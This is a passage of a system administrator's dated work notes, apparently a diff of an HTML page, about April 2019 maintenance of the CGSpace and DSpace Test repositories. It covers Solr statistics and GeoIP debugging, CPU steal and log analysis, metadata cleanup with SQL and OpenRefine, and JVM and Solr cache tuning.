+        "status": 0
+    }
+}
+
    +
  • I confirmed the same on CGSpace itself after making one HEAD request
    • +
  • So I’m pretty sure it’s something about DSpace Test using the CGSpace statistics core, and not that I deployed Solr 4.10.4 there last week +
      +
    • I deployed Solr 4.10.4 locally and ran a bunch of requests for bitstreams and they do show up in the Solr statistics log, so the issue must be with re-using the existing Solr core from CGSpace
      • +
    +
    • +
  • Now this gets more frustrating: I did the same GET and HEAD tests on a local Ubuntu 16.04 VM with Solr 4.10.2 and 4.10.4 and the statistics are recorded +
      +
    • This leads me to believe there is something specifically wrong with DSpace Test (linode19)
      • +
    • The only thing I can think of is that the JVM is using G1GC instead of ConcMarkSweepGC
      • +
    +
    • +
  • Holy shit, all this is actually because of the GeoIP1 deprecation and a missing GeoLiteCity.dat +
      +
    • For some reason the missing GeoIP data causes stats to not be recorded whatsoever and there is no error!
      • +
    • See: DS-3986
      • +
    • See: DS-4020
      • +
    • See: DS-3832
      • +
    • DSpace 5.10 upgraded to use GeoIP2, but we are on 5.8 so I just copied the missing database file from another server because it has been removed from MaxMind’s server as of 2018-04-01
      • +
    • Now I made 100 requests and I see them in the Solr statistics… fuck my life for wasting five hours debugging this
      • +
    +
    • +
  • UptimeRobot said CGSpace went down and up a few times tonight, and my first instict was to check iostat 1 10 and I saw that CPU steal is around 10–30 percent right now…
    • +
  • The load average is super high right now, as I’ve noticed the last few times UptimeRobot said that CGSpace went down:
    • +
+
$ cat /proc/loadavg 
+10.70 9.17 8.85 18/633 4198
+
    +
  • According to the server logs there is actually not much going on right now:
    • +
+
# zcat --force /var/log/nginx/{access,library-access}.log /var/log/nginx/{access,library-access}.log.1 | grep -E "07/Apr/2019:(18|19|20)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    118 18.195.78.144
+    128 207.46.13.219
+    129 167.114.64.100
+    159 207.46.13.129
+    179 207.46.13.33
+    188 2408:8214:7a00:868f:7c1e:e0f3:20c6:c142
+    195 66.249.79.59
+    363 40.77.167.21
+    740 2a01:4f8:140:3192::2
+   4823 45.5.184.72
+# zcat --force /var/log/nginx/{rest,oai}.log /var/log/nginx/{rest,oai}.log.1 | grep -E "07/Apr/2019:(18|19|20)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+      3 66.249.79.62
+      3 66.249.83.196
+      4 207.46.13.86
+      5 82.145.222.150
+      6 2a01:4f9:2b:1263::2
+      6 41.204.190.40
+      7 35.174.176.49
+     10 40.77.167.21
+     11 194.246.119.6
+     11 66.249.79.59
+
    +
  • 45.5.184.72 is CIAT, who I already blocked and am waiting to hear from
    • +
  • 2a01:4f8:140:3192::2 is BLEXbot, which should be handled by the Tomcat Crawler Session Manager Valve
    • +
  • 2408:8214:7a00:868f:7c1e:e0f3:20c6:c142 is some stupid Chinese bot making malicious POST requests
    • +
  • There are free database connections in the pool:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+      5 dspaceApi
+      7 dspaceCli
+     23 dspaceWeb
+
    +
  • It seems that the issue with CGSpace being “down” is actually because of CPU steal again!!!
    • +
  • I opened a ticket with support and asked them to migrate the VM to a less busy host
    • +
+

2019-04-08

+
    +
  • Start checking IITA’s last round of batch uploads from March on DSpace Test (20193rd.xls) +
      +
    • Lots of problems with affiliations, I had to correct about sixty of them
      • +
    • I used lein to host the latest CSV of our affiliations for OpenRefine to reconcile against:
      • +
    +
    • +
+
$ lein run ~/src/git/DSpace/2019-02-22-affiliations.csv name id
+
    +
  • After matching the values and creating some new matches I had trouble remembering how to copy the reconciled values to a new column +
      +
    • The matched values can be accessed with cell.recon.match.name, but some of the new values don’t appear, perhaps because I edited the original cell values?
      • +
    • I ended up using this GREL expression to copy all values to a new column:
      • +
    +
    • +
+
if(cell.recon.matched, cell.recon.match.name, value)
+
    +
  • See the OpenRefine variables documentation for more notes about the recon object
    • +
  • I also noticed a handful of errors in our current list of affiliations so I corrected them:
    • +
+
$ ./fix-metadata-values.py -i 2019-04-08-fix-13-affiliations.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -m 211 -t correct -d
+
    +
  • We should create a new list of affiliations to update our controlled vocabulary again
    • +
  • I dumped a list of the top 1500 affiliations:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value, count(*) FROM metadatavalue WHERE metadata_field_id = 211 AND resource_type_id = 2 GROUP BY text_value ORDER BY count DESC LIMIT 1500) to /tmp/2019-04-08-top-1500-affiliations.csv WITH CSV HEADER;
+COPY 1500
+
    +
  • Fix a few more messed up affiliations that have return characters in them (use Ctrl-V Ctrl-M to re-create control character):
    • +
+
dspace=# UPDATE metadatavalue SET text_value='International Institute for Environment and Development' WHERE resource_type_id = 2 AND metadata_field_id = 211 AND text_value LIKE 'International Institute^M%';
+dspace=# UPDATE metadatavalue SET text_value='Kenya Agriculture and Livestock Research Organization' WHERE resource_type_id = 2 AND metadata_field_id = 211 AND text_value LIKE 'Kenya Agricultural  and Livestock  Research^M%';
+
    +
  • I noticed a bunch of subjects and affiliations that use stylized apostrophes so I will export those and then batch update them:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 211 AND text_value LIKE '%’%') to /tmp/2019-04-08-affiliations-apostrophes.csv WITH CSV HEADER;
+COPY 60
+dspace=# \COPY (SELECT DISTINCT text_value FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 57 AND text_value LIKE '%’%') to /tmp/2019-04-08-subject-apostrophes.csv WITH CSV HEADER;
+COPY 20
+
    +
  • I cleaned them up in OpenRefine and then applied the fixes on CGSpace and DSpace Test:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2019-04-08-fix-60-affiliations-apostrophes.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -m 211 -t correct -d
+$ ./fix-metadata-values.py -i /tmp/2019-04-08-fix-20-subject-apostrophes.csv -db dspace -u dspace -p 'fuuu' -f dc.subject -m 57 -t correct -d
+
    +
  • UptimeRobot said that CGSpace (linode18) went down tonight +
      +
    • The load average is at 9.42, 8.87, 7.87
      • +
    • I looked at PostgreSQL and see shitloads of connections there:
      • +
    +
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+      5 dspaceApi
+      7 dspaceCli
+    250 dspaceWeb
+
    +
  • On a related note I see connection pool errors in the DSpace log:
    • +
+
2019-04-08 19:01:10,472 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL connection Error - 
+org.apache.tomcat.jdbc.pool.PoolExhaustedException: [http-bio-127.0.0.1-8443-exec-319] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:250; busy:250; idle:0; lastwait:5000].
+
    +
  • But still I see 10 to 30% CPU steal in iostat that is also reflected in the Munin graphs:
    • +
+

CPU usage week

+
    +
  • Linode Support still didn’t respond to my ticket from yesterday, so I attached a new output of iostat 1 10 and asked them to move the VM to a less busy host
    • +
  • The web server logs are not very busy:
    • +
+
# zcat --force /var/log/nginx/{access,library-access}.log /var/log/nginx/{access,library-access}.log.1 | grep -E "08/Apr/2019:(17|18|19)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    124 40.77.167.135
+    135 95.108.181.88
+    139 157.55.39.206
+    190 66.249.79.133
+    202 45.5.186.2
+    284 207.46.13.95
+    359 18.196.196.108
+    457 157.55.39.164
+    457 40.77.167.132
+   3822 45.5.184.72
+# zcat --force /var/log/nginx/{rest,oai}.log /var/log/nginx/{rest,oai}.log.1 | grep -E "08/Apr/2019:(17|18|19)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+      5 129.0.79.206
+      5 41.205.240.21
+      7 207.46.13.95
+      7 66.249.79.133
+      7 66.249.79.135
+      7 95.108.181.88
+      8 40.77.167.111
+     19 157.55.39.164
+     20 40.77.167.132
+    370 51.254.16.223
+

2019-04-09

+
    +
  • Linode sent an alert that CGSpace (linode18) was 440% CPU for the last two hours this morning
    • +
  • Here are the top IPs in the web server logs around that time:
    • +
+
# zcat --force /var/log/nginx/{rest,oai}.log /var/log/nginx/{rest,oai}.log.1 | grep -E "09/Apr/2019:(06|07|08)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     18 66.249.79.139
+     21 157.55.39.160
+     29 66.249.79.137
+     38 66.249.79.135
+     50 34.200.212.137
+     54 66.249.79.133
+    100 102.128.190.18
+   1166 45.5.184.72
+   4251 45.5.186.2
+   4895 205.186.128.185
+# zcat --force /var/log/nginx/{access,library-access}.log /var/log/nginx/{access,library-access}.log.1 | grep -E "09/Apr/2019:(06|07|08)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    200 144.48.242.108
+    202 207.46.13.185
+    206 18.194.46.84
+    239 66.249.79.139
+    246 18.196.196.108
+    274 31.6.77.23
+    289 66.249.79.137
+    312 157.55.39.160
+    441 66.249.79.135
+    856 66.249.79.133
+
    +
  • 45.5.186.2 is at CIAT in Colombia and I see they are mostly making requests to the REST API, but also to XMLUI with the following user agent:
    • +
+
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
+
    +
  • Database connection usage looks fine:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+      5 dspaceApi
+      7 dspaceCli
+     11 dspaceWeb
+
    +
  • Ironically I do still see some 2 to 10% of CPU steal in iostat 1 10
    • +
  • Leroy from CIAT contacted me to say he knows the team who is making all those requests to CGSpace +
      +
    • I told them how to use the REST API to get the CIAT Datasets collection and enumerate its items
      • +
    +
    • +
  • In other news, Linode staff identified a noisy neighbor sharing our host and migrated it elsewhere last night
    • +
+

2019-04-10

+
    +
  • Abenet pointed out a possibility of validating funders against the CrossRef API
    • +
  • Note that if you use HTTPS and specify a contact address in the API request you have less likelihood of being blocked
    • +
+
$ http 'https://api.crossref.org/funders?query=mercator&mailto=me@cgiar.org'
+
    +
  • Otherwise, they provide the funder data in CSV and RDF format
    • +
  • I did a quick test with the recent IITA records against reconcile-csv in OpenRefine and it matched a few, but the ones that didn’t match will need a human to go and do some manual checking and informed decision making…
    • +
  • If I want to write a script for this I could use the Python habanero library:
    • +
+
from habanero import Crossref
+cr = Crossref(mailto="me@cgiar.org")
+x = cr.funders(query = "mercator")
+

2019-04-11

+
    +
  • Continue proofing IITA’s last round of batch uploads from March on DSpace Test (20193rd.xls) +
      +
    • One misspelled country
      • +
    • Three incorrect regions
      • +
    • Potential duplicates (same DOI, similar title, same authors): + +
      • +
    • Two DOIs with incorrect URL formatting
      • +
    • Two misspelled IITA subjects
      • +
    • Two authors with smart quotes
      • +
    • Lots of issues with sponsors
      • +
    • One misspelled “Peer review”
      • +
    • One invalid ISBN that I fixed by Googling the title
      • +
    • Lots of issues with sponsors (German Aid Agency, Swiss Aid Agency, Italian Aid Agency, Dutch Aid Agency, etc)
      • +
    • I validated all the AGROVOC subjects against our latest list with reconcile-csv +
        +
      • About 720 of the 900 terms were matched, then I checked and fixed or deleted the rest manually
        • +
      +
      • +
    +
    • +
  • I captured a few general corrections and deletions for AGROVOC subjects while looking at IITA’s records, so I applied them to DSpace Test and CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2019-04-11-fix-14-subjects.csv -db dspace -u dspace -p 'fuuu' -f dc.subject -m 57 -t correct -d
+$ ./delete-metadata-values.py -i /tmp/2019-04-11-delete-6-subjects.csv -db dspace -u dspace -p 'fuuu' -m 57 -f dc.subject -d
+
    +
  • Answer more questions about DOIs and Altmetric scores from WLE
    • +
  • Answer more questions about DOIs and Altmetric scores from IWMI +
      +
    • They can’t seem to understand the Altmetric + Twitter flow for associating Handles and DOIs
      • +
    • To make things worse, many of their items DON’T have DOIs, so when Altmetric harvests them of course there is no link! - Then, a bunch of their items don’t have scores because they never tweeted them!
      • +
    • They added a DOI to this old item 10567/97087 this morning and wonder why Altmetric’s score hasn’t linked with the DOI magically
      • +
    • We should check in a week to see if Altmetric will make the association after one week when they harvest again
      • +
    +
    • +
+

2019-04-13

+
    +
  • I copied the statistics and statistics-2018 Solr cores from CGSpace to my local machine and watched the Java process in VisualVM while indexing item views and downloads with my dspace-statistics-api:
    • +
+

Java GC during Solr indexing with CMS

+
    +
  • It took about eight minutes to index 784 pages of item views and 268 of downloads, and you can see a clear “sawtooth” pattern in the garbage collection
    • +
  • I am curious if the GC pattern would be different if I switched from the -XX:+UseConcMarkSweepGC to G1GC
    • +
  • I switched to G1GC and restarted Tomcat but for some reason I couldn’t see the Tomcat PID in VisualVM… +
      +
    • Anyways, the indexing process took much longer, perhaps twice as long!
      • +
    +
    • +
  • I tried again with the GC tuning settings from the Solr 4.10.4 release:
    • +
+

Java GC during Solr indexing Solr 4.10.4 settings

+

2019-04-14

+
    +
  • Change DSpace Test (linode19) to use the Java GC tuning from the Solr 4.10.4 startup script:
    • +
+
GC_TUNE="-XX:NewRatio=3 \
+    -XX:SurvivorRatio=4 \
+    -XX:TargetSurvivorRatio=90 \
+    -XX:MaxTenuringThreshold=8 \
+    -XX:+UseConcMarkSweepGC \
+    -XX:+UseParNewGC \
+    -XX:ConcGCThreads=4 -XX:ParallelGCThreads=4 \
+    -XX:+CMSScavengeBeforeRemark \
+    -XX:PretenureSizeThreshold=64m \
+    -XX:+UseCMSInitiatingOccupancyOnly \
+    -XX:CMSInitiatingOccupancyFraction=50 \
+    -XX:CMSMaxAbortablePrecleanTime=6000 \
+    -XX:+CMSParallelRemarkEnabled \
+    -XX:+ParallelRefProcEnabled"
+
    +
  • I need to remember to check the Munin JVM graphs in a few days
    • +
  • It might be placebo, but the site does feel snappier…
    • +
+

2019-04-15

+
    +
  • Rework the dspace-statistics-api to use the vanilla Python requests library instead of Solr client + +
    • +
  • Pretty annoying to see CGSpace (linode18) with 20–50% CPU steal according to iostat 1 10, though I haven’t had any Linode alerts in a few days
    • +
  • Abenet sent me a list of ILRI items that don’t have CRPs added to them +
      +
    • The spreadsheet only had Handles (no IDs), so I’m experimenting with using Python in OpenRefine to get the IDs
      • +
    • I cloned the handle column and then did a transform to get the IDs from the CGSpace REST API:
      • +
    +
    • +
+
import json
+import re
+import urllib
+import urllib2
+
+handle = re.findall('[0-9]+/[0-9]+', value)
+
+url = 'https://cgspace.cgiar.org/rest/handle/' + handle[0]
+req = urllib2.Request(url)
+req.add_header('User-agent', 'Alan Python bot')
+res = urllib2.urlopen(req)
+data = json.load(res)
+item_id = data['id']
+
+return item_id
+
    +
  • Luckily none of the items already had CRPs, so I didn’t have to worry about them getting removed +
      +
    • It would have been much trickier if I had to get the CRPs for the items first, then add the CRPs…
      • +
    +
    • +
  • I ran a full Discovery indexing on CGSpace because I didn’t do it after all the metadata updates last week:
    • +
+
$ time schedtool -B -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    82m45.324s
+user    7m33.446s
+sys     2m13.463s
+

2019-04-16

+
    +
  • Export IITA’s community from CGSpace because they want to experiment with importing it into their internal DSpace for some testing or something
    • +
+

2019-04-17

+
    +
  • Reading an interesting blog post about Solr caching
    • +
  • Did some tests of the dspace-statistics-api on my local DSpace instance with 28 million documents in a sharded statistics core (statistics and statistics-2018) and monitored the memory usage of Tomcat in VisualVM
    • +
  • 4GB heap, CMS GC, 512 filter cache, 512 query cache, with 28 million documents in two shards +
      +
    • Run 1: +
        +
      • Time: 3.11s user 0.44s system 0% cpu 13:45.07 total
        • +
      • Tomcat (not Solr) max JVM heap usage: 2.04 GiB
        • +
      +
      • +
    • Run 2: +
        +
      • Time: 3.23s user 0.43s system 0% cpu 13:46.10 total
        • +
      • Tomcat (not Solr) max JVM heap usage: 2.06 GiB
        • +
      +
      • +
    • Run 3: +
        +
      • Time: 3.23s user 0.42s system 0% cpu 13:14.70 total
        • +
      • Tomcat (not Solr) max JVM heap usage: 2.13 GiB
        • +
      • filterCache size: 482, cumulative_lookups: 7062712, cumulative_hits: 167903, cumulative_hitratio: 0.02
        • +
      • queryResultCache size: 2
        • +
      +
      • +
    +
    • +
  • 4GB heap, CMS GC, 1024 filter cache, 512 query cache, with 28 million documents in two shards +
      +
    • Run 1: +
        +
      • Time: 2.92s user 0.39s system 0% cpu 12:33.08 total
        • +
      • Tomcat (not Solr) max JVM heap usage: 2.16 GiB
        • +
      +
      • +
    • Run 2: +
        +
      • Time: 3.10s user 0.39s system 0% cpu 12:25.32 total
        • +
      • Tomcat (not Solr) max JVM heap usage: 2.07 GiB
        • +
      +
      • +
    • Run 3: +
        +
      • Time: 3.29s user 0.36s system 0% cpu 11:53.47 total
        • +
      • Tomcat (not Solr) max JVM heap usage: 2.08 GiB
        • +
      • filterCache size: 951, cumulative_lookups: 7062712, cumulative_hits: 254379, cumulative_hitratio: 0.04
        • +
      +
      • +
    +
    • +
  • 4GB heap, CMS GC, 2048 filter cache, 512 query cache, with 28 million documents in two shards +
      +
    • Run 1: +
        +
      • Time: 2.90s user 0.48s system 0% cpu 10:37.31 total
        • +
      • Tomcat max JVM heap usage: 1.96 GiB
        • +
      • filterCache size: 1901, cumulative_lookups: 2354237, cumulative_hits: 180111, cumulative_hitratio: 0.08
        • +
      +
      • +
    • Run 2: +
        +
      • Time: 2.97s user 0.39s system 0% cpu 10:40.06 total
        • +
      • Tomcat max JVM heap usage: 2.09 GiB
        • +
      • filterCache size: 1901, cumulative_lookups: 4708473, cumulative_hits: 360068, cumulative_hitratio: 0.08
        • +
      +
      • +
    • Run 3: +
        +
      • Time: 3.28s user 0.37s system 0% cpu 10:49.56 total
        • +
      • Tomcat max JVM heap usage: 2.05 GiB
        • +
      • filterCache size: 1901, cumulative_lookups: 7062712, cumulative_hits: 540020, cumulative_hitratio: 0.08
        • +
      +
      • +
    +
    • +
  • 4GB heap, CMS GC, 4096 filter cache, 512 query cache, with 28 million documents in two shards +
      +
    • Run 1: +
        +
      • Time: 2.88s user 0.35s system 0% cpu 8:29.55 total
        • +
      • Tomcat max JVM heap usage: 2.15 GiB
        • +
      • filterCache size: 3770, cumulative_lookups: 2354237, cumulative_hits: 414512, cumulative_hitratio: 0.18
        • +
      +
      • +
    • Run 2: +
        +
      • Time: 3.01s user 0.38s system 0% cpu 9:15.65 total
        • +
      • Tomcat max JVM heap usage: 2.17 GiB
        • +
      • filterCache size: 3945, cumulative_lookups: 4708473, cumulative_hits: 829093, cumulative_hitratio: 0.18
        • +
      +
      • +
    • Run 3: +
        +
      • Time: 3.01s user 0.40s system 0% cpu 9:01.31 total
        • +
      • Tomcat max JVM heap usage: 2.07 GiB
        • +
      • filterCache size: 3770, cumulative_lookups: 7062712, cumulative_hits: 1243632, cumulative_hitratio: 0.18
        • +
      +
      • +
    +
    • +
  • The biggest takeaway I have is that this workload benefits from a larger filterCache (for Solr fq parameter), but barely uses the queryResultCache (for Solr q parameter) at all +
      +
    • The number of hits goes up and the time taken decreases when we increase the filterCache, and total JVM heap memory doesn’t seem to increase much at all
      • +
    • I guess the queryResultCache size is always 2 because I’m only doing two queries: type:0 and type:2 (downloads and views, respectively)
      • +
    +
    • +
  • Here is the general pattern of running three sequential indexing runs as seen in VisualVM while monitoring the Tomcat process:
    • +
+

VisualVM Tomcat 4096 filterCache

+
    +
  • I ran one test with a filterCache of 16384 to try to see if I could make the Tomcat JVM memory balloon, but actually it drastically increased the performance and memory usage of the dspace-statistics-api indexer
    • +
  • 4GB heap, CMS GC, 16384 filter cache, 512 query cache, with 28 million documents in two shards +
      +
    • Run 1: +
        +
      • Time: 2.85s user 0.42s system 2% cpu 2:28.92 total
        • +
      • Tomcat max JVM heap usage: 1.90 GiB
        • +
      • filterCache size: 14851, cumulative_lookups: 2354237, cumulative_hits: 2331186, cumulative_hitratio: 0.99
        • +
      +
      • +
    • Run 2: +
        +
      • Time: 2.90s user 0.37s system 2% cpu 2:23.50 total
        • +
      • Tomcat max JVM heap usage: 1.27 GiB
        • +
      • filterCache size: 15834, cumulative_lookups: 4708476, cumulative_hits: 4664762, cumulative_hitratio: 0.99
        • +
      +
      • +
    • Run 3: +
        +
      • Time: 2.93s user 0.39s system 2% cpu 2:26.17 total
        • +
      • Tomcat max JVM heap usage: 1.05 GiB
        • +
      • filterCache size: 15248, cumulative_lookups: 7062715, cumulative_hits: 6998267, cumulative_hitratio: 0.99
        • +
      +
      • +
    +
    • +
  • The JVM garbage collection graph is MUCH flatter, and memory usage is much lower (not to mention a drop in GC-related CPU usage)!
    • +
+

VisualVM Tomcat 16384 filterCache

+
    +
  • I will deploy this filterCache setting on DSpace Test (linode19)
    • +
  • Run all system updates on DSpace Test (linode19) and reboot it
    • +
  • Lots of CPU steal going on still on CGSpace (linode18):
    • +
+

CPU usage week

+

2019-04-18

+
    +
  • I’ve been trying to copy the statistics-2018 Solr core from CGSpace to DSpace Test since yesterday, but the network speed is like 20KiB/sec +
      +
    • I opened a support ticket to ask Linode to investigate
      • +
    • They asked me to send an mtr report from Fremont to Frankfurt and vice versa
      • +
    +
    • +
  • Deploy Tomcat 7.0.94 on DSpace Test (linode19) +
      +
    • Also, I realized that the CMS GC changes I deployed a few days ago were ignored by Tomcat because of something with how Ansible formatted the options string
      • +
    • I needed to use the “folded” YAML variable format >- (with the dash so it doesn’t add a return at the end)
      • +
    +
    • +
  • UptimeRobot says that CGSpace went “down” this afternoon, but I looked at the CPU steal with iostat 1 10 and it’s in the 50s and 60s +
      +
    • The munin graph shows a lot of CPU steal (red) currently (and over all during the week):
      • +
    +
    • +
+

CPU usage week

+
    +
  • I opened a ticket with Linode to migrate us somewhere +
      +
    • They agreed to migrate us to a quieter host
      • +
    +
    • +
+

2019-04-20

+
    +
  • Linode agreed to move CGSpace (linode18) to a new machine shortly after I filed my ticket about CPU steal two days ago and now the load is much more sane:
    • +
+

CPU usage week

+
    +
  • For future reference, Linode mentioned that they consider CPU steal above 8% to be significant
    • +
  • Regarding the other Linode issue about speed, I did a test with iperf between linode18 and linode19:
    • +
+
# iperf -s
+------------------------------------------------------------
+Server listening on TCP port 5001
+TCP window size: 85.3 KByte (default)
+------------------------------------------------------------
+[  4] local 45.79.x.x port 5001 connected with 139.162.x.x port 51378
+------------------------------------------------------------
+Client connecting to 139.162.x.x, TCP port 5001
+TCP window size: 85.0 KByte (default)
+------------------------------------------------------------
+[  5] local 45.79.x.x port 36440 connected with 139.162.x.x port 5001
+[ ID] Interval       Transfer     Bandwidth
+[  5]  0.0-10.2 sec   172 MBytes   142 Mbits/sec
+[  4]  0.0-10.5 sec   202 MBytes   162 Mbits/sec
+
    +
  • Even with the software firewalls disabled the rsync speed was low, so it’s not a rate limiting issue
    • +
  • I also tried to download a file over HTTPS from CGSpace to DSpace Test, but it was capped at 20KiB/sec +
      +
    • I updated the Linode issue with this information
      • +
    +
    • +
  • I’m going to try to switch the kernel to the latest upstream (5.0.8) instead of Linode’s latest x86_64 +
      +
    • Nope, still 20KiB/sec
      • +
    +
    • +
+

2019-04-21

+
    +
  • Deploy Solr 4.10.4 on CGSpace (linode18)
    • +
  • Deploy Tomcat 7.0.94 on CGSpace
    • +
  • Deploy dspace-statistics-api v1.0.0 on CGSpace
    • +
  • Linode support replicated the results I had from the network speed testing and said they don’t know why it’s so slow +
      +
    • They offered to live migrate the instance to another host to see if that helps
      • +
    +
    • +
+

2019-04-22

+
    +
  • Abenet pointed out an item that doesn’t have an Altmetric score on CGSpace, but has a score of 343 in the CGSpace Altmetric dashboard +
      +
    • I tweeted the Handle to see if it will pick it up…
      • +
    • Like clockwork, after fifteen minutes there was a donut showing on CGSpace
      • +
    +
    • +
  • I want to get rid of this annoying warning that is constantly in our DSpace logs:
    • +
+
2019-04-08 19:02:31,770 WARN  org.dspace.xoai.services.impl.xoai.DSpaceRepositoryConfiguration @ { OAI 2.0 :: DSpace } Not able to retrieve the dspace.oai.url property from oai.cfg. Falling back to request address
+
    +
  • Apparently it happens once per request, which can be at least 1,500 times per day according to the DSpace logs on CGSpace (linode18):
    • +
+
$ grep -c 'Falling back to request address' dspace.log.2019-04-20
+dspace.log.2019-04-20:1515
+
    +
  • I will fix it in dspace/config/modules/oai.cfg
    • +
  • Linode says that it is likely that the host CGSpace (linode18) is on is showing signs of hardware failure and they recommended that I migrate the VM to a new host +
      +
    • I told them to migrate it at 04:00:00AM Frankfurt time, when nobody in East Africa, Europe, or South America should be using the server
      • +
    +
    • +
+

2019-04-23

+ + +
    +
  • Perhaps that’s why the Azure pricing is so expensive!
    • +
  • Add a privacy page to CGSpace +
      +
    • The work was mostly similar to the About page at /page/about, but in addition to adding i18n strings etc, I had to add the logic for the trail to dspace-xmlui-mirage2/src/main/webapp/xsl/preprocess/general.xsl
      • +
    +
    • +
+

2019-04-24

+
    +
  • Linode migrated CGSpace (linode18) to a new host, but I am still getting poor performance when copying data to DSpace Test (linode19) +
      +
    • I asked them if we can migrate DSpace Test to a new host
      • +
    • They migrated DSpace Test to a new host and the rsync speed from Frankfurt was still capped at 20KiB/sec…
      • +
    • I booted DSpace Test to a rescue CD and tried the rsync from CGSpace there too, but it was still capped at 20KiB/sec…
      • +
    • I copied the 18GB statistics-2018 Solr core from Frankfurt to a Linode in London at 15MiB/sec, then from the London one to DSpace Test in Fremont at 15MiB/sec… so WTF us up with Frankfurt→Fremont?!
      • +
    +
    • +
  • Finally upload the 218 IITA items from March to CGSpace +
      +
    • Abenet and I had to do a little bit more work to correct the metadata of one item that appeared to be a duplicate, but really just had the wrong DOI
      • +
    +
    • +
  • While I was uploading the IITA records I noticed that twenty of the records Sisay uploaded in 2018-09 had double Handles (dc.identifier.uri) +
      +
    • According to my notes in 2018-09 I had noticed this when he uploaded the records and told him to remove them, but he didn’t…
      • +
    • I exported the IITA community as a CSV then used csvcut to extract the two URI columns and identify and fix the records:
      • +
    +
    • +
+
$ csvcut -c id,dc.identifier.uri,'dc.identifier.uri[]' ~/Downloads/2019-04-24-IITA.csv > /tmp/iita.csv
+
    +
  • Carlos Tejo from the Land Portal had been emailing me this week to ask about the old REST API that Tsega was building in 2017 +
      +
    • I told him we never finished it, and that he should try to use the /items/find-by-metadata-field endpoint, with the caveat that you need to match the language attribute exactly (ie “en”, “en_US”, null, etc)
      • +
    • I asked him how many terms they are interested in, as we could probably make it easier by normalizing the language attributes of these fields (it would help us anyways)
      • +
    • He says he’s getting HTTP 401 errors when trying to search for CPWF subject terms, which I can reproduce:
      • +
    +
    • +
+
$ curl -f -H "accept: application/json" -H "Content-Type: application/json" -X POST "https://dspacetest.cgiar.org/rest/items/find-by-metadata-field" -d '{"key":"cg.subject.cpwf", "value":"WATER MANAGEMENT","language": "en_US"}'
+curl: (22) The requested URL returned error: 401
+
    +
  • Note that curl only shows the HTTP 401 error if you use -f (fail), and only then if you don’t include -s +
      +
    • I see there are about 1,000 items using CPWF subject “WATER MANAGEMENT” in the database, so there should definitely be results
      • +
    • The breakdown of text_lang fields used in those items is 942:
      • +
    +
    • +
+
dspace=# SELECT COUNT(text_value) FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=208 AND text_value='WATER MANAGEMENT' AND text_lang='en_US';
+ count 
+-------
+   376
+(1 row)
+
+dspace=# SELECT COUNT(text_value) FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=208 AND text_value='WATER MANAGEMENT' AND text_lang='';
+ count 
+-------
+   149
+(1 row)
+
+dspace=# SELECT COUNT(text_value) FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=208 AND text_value='WATER MANAGEMENT' AND text_lang IS NULL;
+ count 
+-------
+   417
+(1 row)
+
    +
  • I see that the HTTP 401 issue seems to be a bug due to an item that the user doesn’t have permission to access… from the DSpace log:
    • +
+
2019-04-24 08:11:51,129 INFO  org.dspace.rest.ItemsResource @ Looking for item with metadata(key=cg.subject.cpwf,value=WATER MANAGEMENT, language=en_US).
+2019-04-24 08:11:51,231 INFO  org.dspace.usage.LoggerUsageEventListener @ anonymous::view_item:handle=10568/72448
+2019-04-24 08:11:51,238 INFO  org.dspace.usage.LoggerUsageEventListener @ anonymous::view_item:handle=10568/72491
+2019-04-24 08:11:51,243 INFO  org.dspace.usage.LoggerUsageEventListener @ anonymous::view_item:handle=10568/75703
+2019-04-24 08:11:51,252 ERROR org.dspace.rest.ItemsResource @ User(anonymous) has not permission to read item!
+
    +
  • Nevertheless, if I request using the null language I get 1020 results, plus 179 for a blank language attribute:
    • +
+
$ curl -s -H "Content-Type: application/json" -X POST "https://dspacetest.cgiar.org/rest/items/find-by-metadata-field" -d '{"key":"cg.subject.cpwf", "value":"WATER MANAGEMENT","language": null}' | jq length
+1020
+$ curl -s -H "Content-Type: application/json" -X POST "https://dspacetest.cgiar.org/rest/items/find-by-metadata-field" -d '{"key":"cg.subject.cpwf", "value":"WATER MANAGEMENT","language": ""}' | jq length
+179
+
    +
  • This is weird because I see 942–1156 items with “WATER MANAGEMENT” (depending on wildcard matching for errors in subject spelling):
    • +
+
dspace=# SELECT COUNT(text_value) FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=208 AND text_value='WATER MANAGEMENT';
+ count 
+-------
+   942
+(1 row)
+
+dspace=# SELECT COUNT(text_value) FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=208 AND text_value LIKE '%WATER MANAGEMENT%';
+ count 
+-------
+  1156
+(1 row)
+
    +
  • I sent a message to the dspace-tech mailing list to ask for help
    • +
+

2019-04-25

+
    +
  • Peter pointed out that we need to remove Delicious and Google+ from our social sharing links +
      +
    • Also, it would be nice if we could include the item title in the shared link
      • +
    • I created an issue on GitHub to track this (#419)
      • +
    +
    • +
  • I tested the REST API after logging in with my super admin account and I was able to get results for the problematic query:
    • +
+
